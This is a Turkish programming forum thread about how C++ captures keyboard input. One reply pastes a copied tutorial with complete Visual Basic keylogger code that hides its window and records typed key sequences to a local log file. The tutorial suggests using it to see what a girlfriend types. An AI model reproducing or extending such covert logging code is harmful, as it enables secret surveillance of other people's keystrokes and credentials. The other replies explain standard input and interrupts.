PDA

Tam Sürümünü Görmek İçin : Klavye ve Mouse girişleri


-aga-
19/02/2008, 16:20
Arkadaşlar c++ da klavye ve mouse girişlerini kütüphane kullanmadan nasıl tutabilirim.
Biliyorum bu ileri düzey c bilgisi gerektiriyor. Ama bir fikir edinmek istiyorum.
Bunu program windowstan mı alıyor, yoksa kendisimi kontrol ediyor. Bu iş Assembly bilgisi gerektiriyor mu?
İnternette çok araştırdım 0x şeklinde, ama yanlış şeyi aradım sanırım.


utdemir
19/02/2008, 19:30
Aşağıda bir siteden bulduğum bazı bilgiler var.. C++ ile ilgili değil ama, keyloggerların çalışma mantığı hakkında ufak bir fikir edinebilirsin...

-------------------------------------------------------------------------------------------------
#
Konu : Keyloggerlar
Tarih : 23/04/2007
Saat : 08:24
Yazar : Ibrahim BALIÇ
#
-------------------------------------------------------------------------------------------------

İçerik :

1.Giriş
2.Key Log Mantığı
3.Keylogger (örnek)
4.Çıkış

============================== ============================== ============================== =======

[1.Giriş]
'''''''''
-------------------------------------------------------------------------------------------------

Keylogger Ingilizce, Key Logger Kelimelerinden Oluşur, Türkçe Karşılığı Tuş Kaydedicidir.
Bu Konuda Sizlere Keylogger'ları Anlatacağım. Keyloggerları Tanıdıktan Sonra Ufak Bir Uygulamalı
Olarak Örnek bir Keylogger Geliştireceğiz..

[2.Key Log Mantığı]
'''''''''''''''''
-------------------------------------------------------------------------------------------------

Keyloggerlara Direk Olarak Girmeden Önce Bilmeniz Gereken Şeyin Sistem Mantığı Olduğunuve
Kavramanız Gerektiğini Düşünüyorum. Bu Yüzden Kısa Olmak Şartı İle Biraz Göz Atalım..

Işletim Sistemi Üzerindeki Herşeyi Dışarıdan Komutlarla Yönetiyoruz... Şuan Hazırladığım Bu Konu
yuda Klavyemdeki Tuşlara Basarak Metin Belgesi İçerisine Aktarıyorum , Fakat Olay Bundan İbaret
değil, Ben Klavyeme, İşaretli Tuşa Basarak Bir Komut Yolluyorum,Klavyem Bu Komutu Bilgisayarımın
Kasasına, AnaKartıma ( mainboard )'ima Gönderiyor, Main Board Bunu Veri Yolları ( DataBus ) 'ile
Işlemcime Taşıyor,Ram'e Yazıyor Derken İşletim Sistemime Ulaşıyor,Ve İşletim Sıstemim Tarafından
Belirlenmiş, Proses(calişir durumdaki program) Üzerine İşleniyor... Yani Burada Anlamanız Gereke
n Olay Basmış Olduğumuz Bir Tuş Ana Olarak 4,5 İşlemden Gecerek Ekrana Taşınıyor...

Bu Işlemlerden Gecerken,Gönderilen Mesajlar İncelenecek Proses'in Yanı Sıra Farklı Bir Proses Ta
rafındanda Dinlenebilir/Kaydedilebilir.Bu Kaydedicilere Dinleyicilere Keylogger Diyoruz.Yani Tuş
Kaydedici...Şimdi Ufak Bir Örnek İle Bu Bilgiyi Pekiştirelim:

Microsoft İşletim Sistemi Üzerinde, Tuş Durumunu Inceleyen Fonksiyonların Listesine MSDN'den Bak
abilirsiniz. Ben Burada Secimimi GetKeyState'den Yana Secip, Sizede Secim Hakkı Olarak 2 Fonksi
yon Sunuyorum, Kuracağım Fonksiyon İcerisinde İkisinden Birini Kullanabilirsiniz...

_________________________
|
|__--> GetAsyncKeyState
| --> GetKeyState
|_________________________

[3.Keylogger (örnek)]
'''''''''''''''''''''
-------------------------------------------------------------------------------------------------

Visual Basic Ile Bu Fonksyionlardan Birini Kullanarak Tuş Kaydetmeyi Inceliyelim.Ben Burada 3 Ö
zel Karakteri Bulup Kaydetmesi İçin Bir Araç Yazacağım.Eğer Bu 3 Özel Karaktere Ard Ard'a Baslı
rsa Benim Tuş Kaydedicim Bunu Not Edecek .. Ben Burada Karakter Olarak "i","b","o" Harflerini
secim Siz Geliştirirken Bunu Değiştirebilir Veya Tüm Tuşlar İÇin Uyarliyabilirsiniz..

VisualBasic
Project - > Tsm KeyLog Ornegi
'''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''
============================== ============================== =============================

Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer

Const karakter1 = 222 ' i karakterinin keykodu
Const karakter2 = 66 ' b karakterinin keykodu
Const karakter3 = 79 ' o karakterinin keykodu
Dim say As Long ' islem basamaklarini hafizada tutmak icin degisken.

Private Sub Timer1_Timer()

' Eger Basilan Tus Karakter Bir ise islemi'1 Yap
If GetKeyState(karakter1) < 0 Then say = 1
' Eger islem 1 ve basilan karakter 2 ise Islemi 2 Yap
If say = 1 And GetKeyState(karakter2) < 0 Then say = 2
' Eger islem 2 ve basilan karakter 3 ise Kayit Yap
If say = 2 And GetKeyState(karakter3) < 0 Then call KayitEt()
End Sub

Private Function KayitEt(ByVal kayitedilecek As String)

Dim OkunanSatir As String

'Onceki Kayitlari Okumak İcin Oluşturdugumuz Fonksyiondaki Degeri Degiskene Atadık.
OkunanSatir = OncekileriOku
'Bir Onceki Islem Bitene Kadar Beklemesini Belirttik
DoEvents
'Islem Bittikten Sonra Gunluk.txt Dosyamızı Actık
Open "c:\gunluk.txt" For Output As #1
'Ilk Satıra Toplu Olarak Oncekileri Atadık.
Print #1, OkunanSatir
'Daha Sonra Bizim Yazmak Istediğimiz Günlüğü Yazdık
Print #1, "Bu Kullanıcı Su Saat ve Tarih'te : " & Time & " / " & Date & " ibo yazdi."
'Satırlar Karışmasın Diye Cizgi Cektik
Print #1, "-------------------------------------------------------------------"
'Dosyayı Kapattık.
Close #1

End Function

Private Function OncekileriOku() As String

Dim Satir As String
Dim Hafiza As String

'Dosyamızı Actık.
Open "c:\gunluk.txt" For Input As #1
'Son Satır Olana Kadar Kosul Kostuk
Do Until EOF(1)
'Satir'i Okuduk
Line Input #1, Satir
'Okudugumuz Satırı Degıskenımıze Kendiyle Birlikte Atadık
Hafiza = Hafiza & Satir & vbCrLf
'Kosul Bitene Kadar Devam...
Loop
'Dosyamızı Kapadık
Close #1

'Hafizadaki Bilgiyi String Degerdeki Fonksyiona Adadik.
OncekileriOku = Hafiza

End Function

Private Sub Form_Load()

Dim Dosya
'Dosyamızın Var Olup Olmadığını Kontrol Ediyoruz
Dosya = Dir("c:\gunluk.txt")
'Geri Donen Değer Boşsa ( dosya yoksa geri donecek değer boştur )
If Dosya = "" Then
'Yeni Bir Dosya Yaratıyoruz.
Open "c:\gunluk.txt" For Output As #1
'İçine Boş bişi Yazıp."
Print #1, ""
'Dosyayı Kapatıyoruz.
Close #1
End If
'Kendini Gizledi
me.hide

End Sub

============================== ============================== =============================
'''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' '''''''

Kodlar Arasında Gerekli Aciklamayı Yaptım, Tek Yapmanız Gereken Projenize Bir Timer Ekley
ip, Projeyi Çalıştırmak, Çalıştıgı Sürece Bastığınız Tuşlar Arasında i + b + o Karakterlerini ar
ayacaktır... Burada Kendi Ismınızı Yapıp Kız Arkadaşınız Bilgisayar Başında Oturdugu Sürede Kac
Kere Ismınızı Kullandiğini Öğrenebilirsiniz... veya Tüm Tuşların Kayıtlarını Tutup, Günlükler Ha
linde Takip Yapabilirsiniz..

Buradaki GetKeyState Fonksiyonu Yerine GetAsyncKeyState Fonksiyonuda Kullanabilirsiniz.Aynı İşle
mi Gercekleştirecektir.


[4.Çıkış]
'''''''''
-------------------------------------------------------------------------------------------------

Tuş Kaydedicilerin Hiçbir Amaçla İyi Olarak Kullanildiği Biryer Olamaz. Genel Anlamda Kul
lanıcıların Kişisel Haklarına Tecavüz Etmek Amacli Kullanılırlar... Tuş Kaydediciler (keylogger)
cc(credi card) Bilgilerini Calmadan, Eposta Hesaplarının Bilgilerini Almaya Kadar Birçok Konudaa
Kullanılmaktadır. Sisteminiz Üzerinde Calişan Bir Keylogger ( heleki online bildirisi olan ) 'la
Başınız Çok Ağrıyabilir...

Tamamen (ç)alıntı...

-aga-
20/02/2008, 09:48
Kardeş sağolasında. Benim istediğim bu değil. Bunun basicte inkey$ komutundan farkı yok.
Ben cout yazınca iostream kütüphanesi bu klavye girişlerini nasıl tutuyor, onu soruyorum.
Ayrıca keylogger diye bir derdim yok. Sadece kendime özel fonksiyonlar yazmak istiyorum.
Nereye bakmam gerek, yardım edin.

acehreli
20/02/2008, 10:06
cin ve cout fare girisinden farkli. Eger standart bir C veya C++ programindan bahsediyorsan, standart giris ve standart cikisin, programi baslatan ortam tarafindan beslenmesi gerekiyor. Onu calistiran ortam ("runtime"), kendi calistigi ortamin girisini programin cin'ine, programin cout'unu da ortamin cikisina bagliyor.

Giris klavye olabilir, bir dosya olabilir, herhangi baska bir cihaz olabilir... Cikis da dosya, ekran, vs. olabilir.

Hem giris hem de cikis bir akim olarak, yani karakterler art arda gelecek sekilde ara belleklerde tutuluyorlar.

Standart giris ve cikis akimlari disindaki iletisimi mutlaka bir kutuphane araciligiyla yapman gerekir, cunku C veya C++, standart giris ve standart cikistan baska iletisim tanimlamazlar. (Aslinda yaniliyorum, cunku standartta dosyalar da var tabii; bir dosyaya yazarak veya dosyadan okuyarak da (ornegin LPT1) da ortamla iletisim kurabiliriz.)

Ayrica standartta fare diye bir kavram da olmadigi icin, bu gibi isler icin mutlaka bir kutuphane kullanmak gerekir. Ornek olarak Windows'da Win32, Linux altinda ncurses kullanilabilir.

Ali

-aga-
20/02/2008, 11:59
Derdim bu cin komutu klavye girişini nasıl tespit ediyor.Ramdan mı alıyor, yoksa windowstanmı bu bilgiyi(Konuya hakim olmadığım için belkide saçmaladım).
Yazmaç vb. bunlarla alakası var mı?

acehreli
20/02/2008, 18:14
cin'in klavyeden almadigini soylemeye calisiyorum. cin, programi calistiran ortamin ona gosterdigi standart giristen okuyor. O giris de calisma zamaninda belirleniyor. Ornegin klavye yerine bir dosyadan okumak icin programi soyle calistirabiliriz:

benim_program < bir_dosya

Klavye ile hic ilgisi olmaz.

Standart girisin klavyeye baglandigi durumlarda ise soyle tahmin edebilirim: Klavyenin tusuna basilinca klavye karakterin kodunu olusturuyor ve kablosu araciligiyla bir isaret veriyor. O isarete uyanan bir surucu (device driver) karakteri okuyarak bir ara bellege aliyor. O ara bellekteki karakterler de isletim sistemi tarafindan calismakta olan programlar istedikce teker teker veriliyor. (En azindan kabaca dogrudur. :) )

Bu konularla ilgili kaynak bilen var mi?

Ali

-aga-
21/02/2008, 08:33
İlgilendiğin için teşekkür ederim.

bluekid
21/02/2008, 11:20
işin ucu interruptlara kadar gider.
http://webpages.charter.net/danrollins/techhelp/0106.HTM

-aga-
22/02/2008, 16:49
Sağolun sayenizde buldum. assembly'e girdiği için anlamadım ama.
http://www.programlama.com/sys/c2html/view.php3?DocID=2633